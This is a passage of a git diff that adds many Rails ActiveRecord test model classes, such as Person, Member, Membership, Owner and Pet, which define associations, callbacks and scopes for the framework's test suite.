+  belongs_to :doglover, foreign_key: :dog_lover_id, class_name: "DogLover", counter_cache: true
+end
diff --git a/activerecord/test/models/dog_lover.rb b/activerecord/test/models/dog_lover.rb
new file mode 100644
index 0000000000..aabe914f77
--- /dev/null
+++ b/activerecord/test/models/dog_lover.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class DogLover < ActiveRecord::Base
+  has_many :trained_dogs, class_name: "Dog", foreign_key: :trainer_id, dependent: :destroy
+  has_many :bred_dogs, class_name: "Dog", foreign_key: :breeder_id
+  has_many :dogs
+end
diff --git a/activerecord/test/models/doubloon.rb b/activerecord/test/models/doubloon.rb
new file mode 100644
index 0000000000..febadc3a5a
--- /dev/null
+++ b/activerecord/test/models/doubloon.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class AbstractDoubloon < ActiveRecord::Base
+  # This has functionality that might be shared by multiple classes.
+
+  self.abstract_class = true
+  belongs_to :pirate
+end
+
+class Doubloon < AbstractDoubloon
+  # This uses an abstract class that defines attributes and associations.
+
+  self.table_name = "doubloons"
+end
diff --git a/activerecord/test/models/drink_designer.rb b/activerecord/test/models/drink_designer.rb
new file mode 100644
index 0000000000..1c407844c5
--- /dev/null
+++ b/activerecord/test/models/drink_designer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class DrinkDesigner < ActiveRecord::Base
+  has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/edge.rb b/activerecord/test/models/edge.rb
new file mode 100644
index 0000000000..a04ab103de
--- /dev/null
+++ b/activerecord/test/models/edge.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+# This class models an edge in a directed graph.
+class Edge < ActiveRecord::Base
+  belongs_to :source, class_name: "Vertex", foreign_key: "source_id"
+  belongs_to :sink,   class_name: "Vertex", foreign_key: "sink_id"
+end
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
new file mode 100644
index 0000000000..902006b314
--- /dev/null
+++ b/activerecord/test/models/electron.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Electron < ActiveRecord::Base
+  belongs_to :molecule
+
+  validates_presence_of :name
+end
diff --git a/activerecord/test/models/engine.rb b/activerecord/test/models/engine.rb
new file mode 100644
index 0000000000..396a52b3b9
--- /dev/null
+++ b/activerecord/test/models/engine.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Engine < ActiveRecord::Base
+  belongs_to :my_car, class_name: "Car", foreign_key: "car_id",  counter_cache: :engines_count
+end
diff --git a/activerecord/test/models/entrant.rb b/activerecord/test/models/entrant.rb
new file mode 100644
index 0000000000..2c086e451f
--- /dev/null
+++ b/activerecord/test/models/entrant.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Entrant < ActiveRecord::Base
+  belongs_to :course
+end
diff --git a/activerecord/test/models/essay.rb b/activerecord/test/models/essay.rb
new file mode 100644
index 0000000000..e59db4d877
--- /dev/null
+++ b/activerecord/test/models/essay.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Essay < ActiveRecord::Base
+  belongs_to :author
+  belongs_to :writer, primary_key: :name, polymorphic: true
+  belongs_to :category, primary_key: :name
+  has_one :owner, primary_key: :name
+end
diff --git a/activerecord/test/models/event.rb b/activerecord/test/models/event.rb
new file mode 100644
index 0000000000..a7cdc39e5c
--- /dev/null
+++ b/activerecord/test/models/event.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Event < ActiveRecord::Base
+  validates_uniqueness_of :title
+end
diff --git a/activerecord/test/models/eye.rb b/activerecord/test/models/eye.rb
new file mode 100644
index 0000000000..f3608b62ef
--- /dev/null
+++ b/activerecord/test/models/eye.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Eye < ActiveRecord::Base
+  attr_reader :after_create_callbacks_stack
+  attr_reader :after_update_callbacks_stack
+  attr_reader :after_save_callbacks_stack
+
+  # Callbacks configured before the ones has_one sets up.
+  after_create :trace_after_create
+  after_update :trace_after_update
+  after_save   :trace_after_save
+
+  has_one :iris
+  accepts_nested_attributes_for :iris
+
+  # Callbacks configured after the ones has_one sets up.
+  after_create :trace_after_create2
+  after_update :trace_after_update2
+  after_save   :trace_after_save2
+
+  def trace_after_create
+    (@after_create_callbacks_stack ||= []) << !iris.persisted?
+  end
+  alias trace_after_create2 trace_after_create
+
+  def trace_after_update
+    (@after_update_callbacks_stack ||= []) << iris.has_changes_to_save?
+  end
+  alias trace_after_update2 trace_after_update
+
+  def trace_after_save
+    (@after_save_callbacks_stack ||= []) << iris.has_changes_to_save?
+  end
+  alias trace_after_save2 trace_after_save
+end
+
+class Iris < ActiveRecord::Base
+  belongs_to :eye
+end
diff --git a/activerecord/test/models/face.rb b/activerecord/test/models/face.rb
new file mode 100644
index 0000000000..796aaa4dc9
--- /dev/null
+++ b/activerecord/test/models/face.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Face < ActiveRecord::Base
+  belongs_to :man, inverse_of: :face
+  belongs_to :polymorphic_man, polymorphic: true, inverse_of: :polymorphic_face
+  # Oracle identifier length is limited to 30 bytes or less, `polymorphic` renamed `poly`
+  belongs_to :poly_man_without_inverse, polymorphic: true
+  # These is a "broken" inverse_of for the purposes of testing
+  belongs_to :horrible_man, class_name: "Man", inverse_of: :horrible_face
+  belongs_to :horrible_polymorphic_man, polymorphic: true, inverse_of: :horrible_polymorphic_face
+end
diff --git a/activerecord/test/models/family.rb b/activerecord/test/models/family.rb
new file mode 100644
index 0000000000..0713dba1a6
--- /dev/null
+++ b/activerecord/test/models/family.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Family < ActiveRecord::Base
+  has_many :family_trees, -> { where(token: nil) }
+  has_many :members, through: :family_trees
+end
diff --git a/activerecord/test/models/family_tree.rb b/activerecord/test/models/family_tree.rb
new file mode 100644
index 0000000000..a8ea907c05
--- /dev/null
+++ b/activerecord/test/models/family_tree.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class FamilyTree < ActiveRecord::Base
+  belongs_to :member, class_name: "User", foreign_key: "member_id"
+  belongs_to :family
+end
diff --git a/activerecord/test/models/friendship.rb b/activerecord/test/models/friendship.rb
new file mode 100644
index 0000000000..9f1712a8ec
--- /dev/null
+++ b/activerecord/test/models/friendship.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Friendship < ActiveRecord::Base
+  belongs_to :friend, class_name: "Person"
+  # friend_too exists to test a bug, and probably shouldn't be used elsewhere
+  belongs_to :friend_too, foreign_key: "friend_id", class_name: "Person", counter_cache: :friends_too_count
+  belongs_to :follower, class_name: "Person"
+end
diff --git a/activerecord/test/models/guid.rb b/activerecord/test/models/guid.rb
new file mode 100644
index 0000000000..ec71c37690
--- /dev/null
+++ b/activerecord/test/models/guid.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Guid < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/guitar.rb b/activerecord/test/models/guitar.rb
new file mode 100644
index 0000000000..649b998665
--- /dev/null
+++ b/activerecord/test/models/guitar.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Guitar < ActiveRecord::Base
+  has_many :tuning_pegs, index_errors: true
+  accepts_nested_attributes_for :tuning_pegs
+end
diff --git a/activerecord/test/models/hotel.rb b/activerecord/test/models/hotel.rb
new file mode 100644
index 0000000000..1a433c3cab
--- /dev/null
+++ b/activerecord/test/models/hotel.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Hotel < ActiveRecord::Base
+  has_many :departments
+  has_many :chefs, through: :departments
+  has_many :cake_designers, source_type: "CakeDesigner", source: :employable, through: :chefs
+  has_many :drink_designers, source_type: "DrinkDesigner", source: :employable, through: :chefs
+
+  has_many :chef_lists, as: :employable_list
+  has_many :mocktail_designers, through: :chef_lists, source: :employable, source_type: "MocktailDesigner"
+
+  has_many :recipes, through: :chefs
+end
diff --git a/activerecord/test/models/image.rb b/activerecord/test/models/image.rb
new file mode 100644
index 0000000000..b4808293cc
--- /dev/null
+++ b/activerecord/test/models/image.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Image < ActiveRecord::Base
+  belongs_to :imageable, foreign_key: :imageable_identifier, foreign_type: :imageable_class
+end
diff --git a/activerecord/test/models/interest.rb b/activerecord/test/models/interest.rb
new file mode 100644
index 0000000000..899b8f9b9d
--- /dev/null
+++ b/activerecord/test/models/interest.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Interest < ActiveRecord::Base
+  belongs_to :man, inverse_of: :interests
+  belongs_to :polymorphic_man, polymorphic: true, inverse_of: :polymorphic_interests
+  belongs_to :zine, inverse_of: :interests
+end
diff --git a/activerecord/test/models/invoice.rb b/activerecord/test/models/invoice.rb
new file mode 100644
index 0000000000..1851792ed5
--- /dev/null
+++ b/activerecord/test/models/invoice.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Invoice < ActiveRecord::Base
+  has_many :line_items, autosave: true
+  before_save { |record| record.balance = record.line_items.map(&:amount).sum }
+end
diff --git a/activerecord/test/models/item.rb b/activerecord/test/models/item.rb
new file mode 100644
index 0000000000..8d079d56e6
--- /dev/null
+++ b/activerecord/test/models/item.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AbstractItem < ActiveRecord::Base
+  self.abstract_class = true
+  has_one :tagging, as: :taggable
+end
+
+class Item < AbstractItem
+end
diff --git a/activerecord/test/models/job.rb b/activerecord/test/models/job.rb
new file mode 100644
index 0000000000..52817a8435
--- /dev/null
+++ b/activerecord/test/models/job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Job < ActiveRecord::Base
+  has_many :references
+  has_many :people, through: :references
+  belongs_to :ideal_reference, class_name: "Reference"
+
+  has_many :agents, through: :people
+end
diff --git a/activerecord/test/models/joke.rb b/activerecord/test/models/joke.rb
new file mode 100644
index 0000000000..436ffb6471
--- /dev/null
+++ b/activerecord/test/models/joke.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Joke < ActiveRecord::Base
+  self.table_name = "funny_jokes"
+end
+
+class GoodJoke < ActiveRecord::Base
+  self.table_name = "funny_jokes"
+end
diff --git a/activerecord/test/models/keyboard.rb b/activerecord/test/models/keyboard.rb
new file mode 100644
index 0000000000..d200e0fb56
--- /dev/null
+++ b/activerecord/test/models/keyboard.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Keyboard < ActiveRecord::Base
+  self.primary_key = "key_number"
+end
diff --git a/activerecord/test/models/legacy_thing.rb b/activerecord/test/models/legacy_thing.rb
new file mode 100644
index 0000000000..e0210c8922
--- /dev/null
+++ b/activerecord/test/models/legacy_thing.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class LegacyThing < ActiveRecord::Base
+  self.locking_column = :version
+end
diff --git a/activerecord/test/models/lesson.rb b/activerecord/test/models/lesson.rb
new file mode 100644
index 0000000000..e546339689
--- /dev/null
+++ b/activerecord/test/models/lesson.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class LessonError < Exception
+end
+
+class Lesson < ActiveRecord::Base
+  has_and_belongs_to_many :students
+  before_destroy :ensure_no_students
+
+  def ensure_no_students
+    raise LessonError unless students.empty?
+  end
+end
diff --git a/activerecord/test/models/line_item.rb b/activerecord/test/models/line_item.rb
new file mode 100644
index 0000000000..3a51cf03b2
--- /dev/null
+++ b/activerecord/test/models/line_item.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class LineItem < ActiveRecord::Base
+  belongs_to :invoice, touch: true
+end
diff --git a/activerecord/test/models/liquid.rb b/activerecord/test/models/liquid.rb
new file mode 100644
index 0000000000..b2fd305d66
--- /dev/null
+++ b/activerecord/test/models/liquid.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Liquid < ActiveRecord::Base
+  self.table_name = :liquid
+  has_many :molecules, -> { distinct }
+end
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
new file mode 100644
index 0000000000..3acd89a48e
--- /dev/null
+++ b/activerecord/test/models/man.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Man < ActiveRecord::Base
+  has_one :face, inverse_of: :man
+  has_one :polymorphic_face, class_name: "Face", as: :polymorphic_man, inverse_of: :polymorphic_man
+  has_one :polymorphic_face_without_inverse, class_name: "Face", as: :poly_man_without_inverse
+  has_many :interests, inverse_of: :man
+  has_many :polymorphic_interests, class_name: "Interest", as: :polymorphic_man, inverse_of: :polymorphic_man
+  # These are "broken" inverse_of associations for the purposes of testing
+  has_one :dirty_face, class_name: "Face", inverse_of: :dirty_man
+  has_many :secret_interests, class_name: "Interest", inverse_of: :secret_man
+  has_one :mixed_case_monkey
+end
diff --git a/activerecord/test/models/matey.rb b/activerecord/test/models/matey.rb
new file mode 100644
index 0000000000..a77ac21e96
--- /dev/null
+++ b/activerecord/test/models/matey.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Matey < ActiveRecord::Base
+  belongs_to :pirate
+  belongs_to :target, class_name: "Pirate"
+end
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
new file mode 100644
index 0000000000..4315ba1941
--- /dev/null
+++ b/activerecord/test/models/member.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+class Member < ActiveRecord::Base
+  has_one :current_membership
+  has_one :selected_membership
+  has_one :membership
+  has_one :club, through: :current_membership
+  has_one :selected_club, through: :selected_membership, source: :club
+  has_one :favourite_club, -> { where "memberships.favourite = ?", true }, through: :membership, source: :club
+  has_one :hairy_club, -> { where clubs: { name: "Moustache and Eyebrow Fancier Club" } }, through: :membership, source: :club
+  has_one :sponsor, as: :sponsorable
+  has_one :sponsor_club, through: :sponsor
+  has_one :member_detail, inverse_of: false
+  has_one :organization, through: :member_detail
+  belongs_to :member_type
+
+  has_many :nested_member_types, through: :member_detail, source: :member_type
+  has_one :nested_member_type, through: :member_detail, source: :member_type
+
+  has_many :nested_sponsors, through: :sponsor_club, source: :sponsor
+  has_one :nested_sponsor, through: :sponsor_club, source: :sponsor
+
+  has_many :organization_member_details, through: :member_detail
+  has_many :organization_member_details_2, through: :organization, source: :member_details
+
+  has_one :club_category, through: :club, source: :category
+  has_one :general_club, -> { general }, through: :current_membership, source: :club
+
+  has_many :current_memberships, -> { where favourite: true }
+  has_many :clubs, through: :current_memberships
+
+  has_many :tenant_memberships
+  has_many :tenant_clubs, through: :tenant_memberships, class_name: "Club", source: :club
+
+  has_one :club_through_many, through: :current_memberships, source: :club
+
+  belongs_to :admittable, polymorphic: true
+  has_one :premium_club, through: :admittable
+end
+
+class SelfMember < ActiveRecord::Base
+  self.table_name = "members"
+  has_and_belongs_to_many :friends, class_name: "SelfMember", join_table: "member_friends"
+end
diff --git a/activerecord/test/models/member_detail.rb b/activerecord/test/models/member_detail.rb
new file mode 100644
index 0000000000..87f7aab9a2
--- /dev/null
+++ b/activerecord/test/models/member_detail.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class MemberDetail < ActiveRecord::Base
+  belongs_to :member, inverse_of: false
+  belongs_to :organization
+  has_one :member_type, through: :member
+  has_one :membership, through: :member
+
+  has_many :organization_member_details, through: :organization, source: :member_details
+end
diff --git a/activerecord/test/models/member_type.rb b/activerecord/test/models/member_type.rb
new file mode 100644
index 0000000000..b49b168d03
--- /dev/null
+++ b/activerecord/test/models/member_type.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class MemberType < ActiveRecord::Base
+  has_many :members
+end
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
new file mode 100644
index 0000000000..09ee7544b3
--- /dev/null
+++ b/activerecord/test/models/membership.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class Membership < ActiveRecord::Base
+  enum type: %i(Membership CurrentMembership SuperMembership SelectedMembership TenantMembership)
+  belongs_to :member
+  belongs_to :club
+end
+
+class CurrentMembership < Membership
+  belongs_to :member
+  belongs_to :club
+end
+
+class SuperMembership < Membership
+  belongs_to :member, -> { order("members.id DESC") }
+  belongs_to :club
+end
+
+class SelectedMembership < Membership
+  def self.default_scope
+    select("'1' as foo")
+  end
+end
+
+class TenantMembership < Membership
+  cattr_accessor :current_member
+
+  belongs_to :member
+  belongs_to :club
+
+  default_scope -> {
+    if current_member
+      where(member: current_member)
+    else
+      all
+    end
+  }
+end
diff --git a/activerecord/test/models/mentor.rb b/activerecord/test/models/mentor.rb
new file mode 100644
index 0000000000..2fbb62c435
--- /dev/null
+++ b/activerecord/test/models/mentor.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Mentor < ActiveRecord::Base
+  has_many :developers
+end
diff --git a/activerecord/test/models/minimalistic.rb b/activerecord/test/models/minimalistic.rb
new file mode 100644
index 0000000000..c67b086853
--- /dev/null
+++ b/activerecord/test/models/minimalistic.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Minimalistic < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/minivan.rb b/activerecord/test/models/minivan.rb
new file mode 100644
index 0000000000..d9d331798a
--- /dev/null
+++ b/activerecord/test/models/minivan.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Minivan < ActiveRecord::Base
+  self.primary_key = :minivan_id
+
+  belongs_to :speedometer
+  has_one :dashboard, through: :speedometer
+
+  attr_readonly :color
+end
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
new file mode 100644
index 0000000000..8e92f68817
--- /dev/null
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class MixedCaseMonkey < ActiveRecord::Base
+  belongs_to :man
+end
diff --git a/activerecord/test/models/mocktail_designer.rb b/activerecord/test/models/mocktail_designer.rb
new file mode 100644
index 0000000000..123ff4fb3d
--- /dev/null
+++ b/activerecord/test/models/mocktail_designer.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class MocktailDesigner < DrinkDesigner
+end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
new file mode 100644
index 0000000000..7da08a85c4
--- /dev/null
+++ b/activerecord/test/models/molecule.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Molecule < ActiveRecord::Base
+  belongs_to :liquid
+  has_many :electrons
+
+  accepts_nested_attributes_for :electrons
+end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
new file mode 100644
index 0000000000..fa2ea900c7
--- /dev/null
+++ b/activerecord/test/models/movie.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Movie < ActiveRecord::Base
+  self.primary_key = "movieid"
+
+  validates_presence_of :name
+end
diff --git a/activerecord/test/models/node.rb b/activerecord/test/models/node.rb
new file mode 100644
index 0000000000..ae46c76b46
--- /dev/null
+++ b/activerecord/test/models/node.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Node < ActiveRecord::Base
+  belongs_to :tree, touch: true
+  belongs_to :parent,   class_name: "Node", touch: true, optional: true
+  has_many   :children, class_name: "Node", foreign_key: :parent_id, dependent: :destroy
+end
diff --git a/activerecord/test/models/non_primary_key.rb b/activerecord/test/models/non_primary_key.rb
new file mode 100644
index 0000000000..e954375989
--- /dev/null
+++ b/activerecord/test/models/non_primary_key.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class NonPrimaryKey < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/notification.rb b/activerecord/test/models/notification.rb
new file mode 100644
index 0000000000..3f8728af5e
--- /dev/null
+++ b/activerecord/test/models/notification.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Notification < ActiveRecord::Base
+  validates_presence_of :message
+end
diff --git a/activerecord/test/models/numeric_data.rb b/activerecord/test/models/numeric_data.rb
new file mode 100644
index 0000000000..666e1a5778
--- /dev/null
+++ b/activerecord/test/models/numeric_data.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class NumericData < ActiveRecord::Base
+  self.table_name = "numeric_data"
+  # Decimal columns with 0 scale being automatically treated as integers
+  # is deprecated, and will be removed in a future version of Rails.
+  attribute :world_population, :big_integer
+  attribute :my_house_population, :big_integer
+  attribute :atoms_in_universe, :big_integer
+end
diff --git a/activerecord/test/models/order.rb b/activerecord/test/models/order.rb
new file mode 100644
index 0000000000..36866b398f
--- /dev/null
+++ b/activerecord/test/models/order.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Order < ActiveRecord::Base
+  belongs_to :billing, class_name: "Customer", foreign_key: "billing_customer_id"
+  belongs_to :shipping, class_name: "Customer", foreign_key: "shipping_customer_id"
+end
diff --git a/activerecord/test/models/organization.rb b/activerecord/test/models/organization.rb
new file mode 100644
index 0000000000..099e7e38e0
--- /dev/null
+++ b/activerecord/test/models/organization.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class Organization < ActiveRecord::Base
+  has_many :member_details
+  has_many :members, through: :member_details
+
+  has_many :authors, primary_key: :name
+  has_many :author_essay_categories, through: :authors, source: :essay_categories
+
+  has_one :author, primary_key: :name
+  has_one :author_owned_essay_category, through: :author, source: :owned_essay_category
+
+  has_many :posts, through: :author, source: :posts
+
+  scope :clubs, -> { from("clubs") }
+end
diff --git a/activerecord/test/models/other_dog.rb b/activerecord/test/models/other_dog.rb
new file mode 100644
index 0000000000..a0fda5ae1b
--- /dev/null
+++ b/activerecord/test/models/other_dog.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_dependency "models/arunit2_model"
+
+class OtherDog < ARUnit2Model
+  self.table_name = "dogs"
+end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
new file mode 100644
index 0000000000..5fa50d9918
--- /dev/null
+++ b/activerecord/test/models/owner.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Owner < ActiveRecord::Base
+  self.primary_key = :owner_id
+  has_many :pets, -> { order "pets.name desc" }
+  has_many :toys, through: :pets
+  has_many :persons, through: :pets
+
+  belongs_to :last_pet, class_name: "Pet"
+  scope :including_last_pet, -> {
+    select('
+      owners.*, (
+        select p.pet_id from pets p
+        where p.owner_id = owners.owner_id
+        order by p.name desc
+        limit 1
+      ) as last_pet_id
+    ').includes(:last_pet)
+  }
+
+  after_commit :execute_blocks
+
+  accepts_nested_attributes_for :pets, allow_destroy: true
+
+  def blocks
+    @blocks ||= []
+  end
+
+  def on_after_commit(&block)
+    blocks << block
+  end
+
+  def execute_blocks
+    blocks.each do |block|
+      block.call(self)
+    end
+    @blocks = []
+  end
+end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
new file mode 100644
index 0000000000..ba9ddb8c6a
--- /dev/null
+++ b/activerecord/test/models/parrot.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class Parrot < ActiveRecord::Base
+  self.inheritance_column = :parrot_sti_class
+
+  has_and_belongs_to_many :pirates
+  has_and_belongs_to_many :treasures
+  has_many :loots, as: :looter
+  alias_attribute :title, :name
+
+  validates_presence_of :name
+
+  attribute :cancel_save_from_callback
+  before_save :cancel_save_callback_method, if: :cancel_save_from_callback
+  def cancel_save_callback_method
+    throw(:abort)
+  end
+
+  before_update :increment_updated_count
+  def increment_updated_count
+    self.updated_count += 1
+  end
+end
+
+class LiveParrot < Parrot
+end
+
+class DeadParrot < Parrot
+  belongs_to :killer, class_name: "Pirate", foreign_key: :killer_id
+end
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
new file mode 100644
index 0000000000..5cba1e440e
--- /dev/null
+++ b/activerecord/test/models/person.rb
@@ -0,0 +1,143 @@
+# frozen_string_literal: true
+
+class Person < ActiveRecord::Base
+  has_many :readers
+  has_many :secure_readers
+  has_one  :reader
+
+  has_many :posts, through: :readers
+  has_many :secure_posts, through: :secure_readers
+  has_many :posts_with_no_comments, -> { includes(:comments).where("comments.id is null").references(:comments) },
+                                    through: :readers, source: :post
+
+  has_many :friendships, foreign_key: "friend_id"
+  # friends_too exists to test a bug, and probably shouldn't be used elsewhere
+  has_many :friends_too, foreign_key: "friend_id", class_name: "Friendship"
+  has_many :followers, through: :friendships
+
+  has_many :references
+  has_many :bad_references
+  has_many :fixed_bad_references, -> { where favourite: true }, class_name: "BadReference"
+  has_one  :favourite_reference, -> { where "favourite=?", true }, class_name: "Reference"
+  has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order("comments.id") }, through: :readers, source: :post
+  has_many :first_posts, -> { where(id: [1, 2]) }, through: :readers
+
+  has_many :jobs, through: :references
+  has_many :jobs_with_dependent_destroy,    source: :job, through: :references, dependent: :destroy
+  has_many :jobs_with_dependent_delete_all, source: :job, through: :references, dependent: :delete_all
+  has_many :jobs_with_dependent_nullify,    source: :job, through: :references, dependent: :nullify
+
+  belongs_to :primary_contact, class_name: "Person"
+  has_many :agents, class_name: "Person", foreign_key: "primary_contact_id"
+  has_many :agents_of_agents, through: :agents, source: :agents
+  belongs_to :number1_fan, class_name: "Person"
+
+  has_many :personal_legacy_things, dependent: :destroy
+
+  has_many :agents_posts,         through: :agents,       source: :posts
+  has_many :agents_posts_authors, through: :agents_posts, source: :author
+  has_many :essays, primary_key: "first_name", foreign_key: "writer_id"
+
+  scope :males,   -> { where(gender: "M") }
+end
+
+class PersonWithDependentDestroyJobs < ActiveRecord::Base
+  self.table_name = "people"
+
+  has_many :references, foreign_key: :person_id
+  has_many :jobs, source: :job, through: :references, dependent: :destroy
+end
+
+class PersonWithDependentDeleteAllJobs < ActiveRecord::Base
+  self.table_name = "people"
+
+  has_many :references, foreign_key: :person_id
+  has_many :jobs, source: :job, through: :references, dependent: :delete_all
+end
+
+class PersonWithDependentNullifyJobs < ActiveRecord::Base
+  self.table_name = "people"
+
+  has_many :references, foreign_key: :person_id
+  has_many :jobs, source: :job, through: :references, dependent: :nullify
+end
+
+class LoosePerson < ActiveRecord::Base
+  self.table_name = "people"
+  self.abstract_class = true
+
+  has_one    :best_friend,    class_name: "LoosePerson", foreign_key: :best_friend_id
+  belongs_to :best_friend_of, class_name: "LoosePerson", foreign_key: :best_friend_of_id
+  has_many   :best_friends,   class_name: "LoosePerson", foreign_key: :best_friend_id
+
+  accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends
+end
+
+class LooseDescendant < LoosePerson; end
+
+class TightPerson < ActiveRecord::Base
+  self.table_name = "people"
+
+  has_one    :best_friend,    class_name: "TightPerson", foreign_key: :best_friend_id
+  belongs_to :best_friend_of, class_name: "TightPerson", foreign_key: :best_friend_of_id
+  has_many   :best_friends,   class_name: "TightPerson", foreign_key: :best_friend_id
+
+  accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends
+end
+
+class TightDescendant < TightPerson; end
+
+class RichPerson < ActiveRecord::Base
+  self.table_name = "people"
+
+  has_and_belongs_to_many :treasures, join_table: "peoples_treasures"
+
+  before_validation :run_before_create, on: :create
+  before_validation :run_before_validation
+
+  private
+
+    def run_before_create
+      self.first_name = first_name.to_s + "run_before_create"
+    end
+
+    def run_before_validation
+      self.first_name = first_name.to_s + "run_before_validation"
+    end
+end
+
+class NestedPerson < ActiveRecord::Base
+  self.table_name = "people"
+
+  has_one :best_friend, class_name: "NestedPerson", foreign_key: :best_friend_id
+  accepts_nested_attributes_for :best_friend, update_only: true
+
+  def comments=(new_comments)
+    raise RuntimeError
+  end
+
+  def best_friend_first_name=(new_name)
+    assign_attributes(best_friend_attributes: { first_name: new_name })
+  end
+end
+
+class Insure
+  INSURES = %W{life annuality}
+
+  def self.load(mask)
+    INSURES.select do |insure|
+      (1 << INSURES.index(insure)) & mask.to_i > 0
+    end
+  end
+
+  def self.dump(insures)
+    numbers = insures.map { |insure| INSURES.index(insure) }
+    numbers.inject(0) { |sum, n| sum + (1 << n) }
+  end
+end
+
+class SerializedPerson < ActiveRecord::Base
+  self.table_name = "people"
+
+  serialize :insures, Insure
+end
diff --git a/activerecord/test/models/personal_legacy_thing.rb b/activerecord/test/models/personal_legacy_thing.rb
new file mode 100644
index 0000000000..ed8b70cfcc
--- /dev/null
+++ b/activerecord/test/models/personal_legacy_thing.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class PersonalLegacyThing < ActiveRecord::Base
+  self.locking_column = :version
+  belongs_to :person, counter_cache: true
+end
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
new file mode 100644
index 0000000000..9bda2109e6
--- /dev/null
+++ b/activerecord/test/models/pet.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class Pet < ActiveRecord::Base
+  attr_accessor :current_user
+
+  self.primary_key = :pet_id
+  belongs_to :owner, touch: true
+  has_many :toys
+  has_many :pet_treasures
+  has_many :treasures, through: :pet_treasures
+  has_many :persons, through: :treasures, source: :looter, source_type: "Person"
+
+  class << self
+    attr_accessor :after_destroy_output
+  end
+
+  after_destroy do |record|
+    Pet.after_destroy_output = record.current_user
+  end
+end
diff --git a/activerecord/test/models/pet_treasure.rb b/activerecord/test/models/pet_treasure.rb
new file mode 100644
index 0000000000..47b9f57fad
--- /dev/null
+++ b/activerecord/test/models/pet_treasure.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class PetTreasure < ActiveRecord::Base
+  self.table_name = "pets_treasures"
+
+  belongs_to :pet
+  belongs_to :treasure
+end
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
new file mode 100644
index 0000000000..c8617d1cfe
--- /dev/null
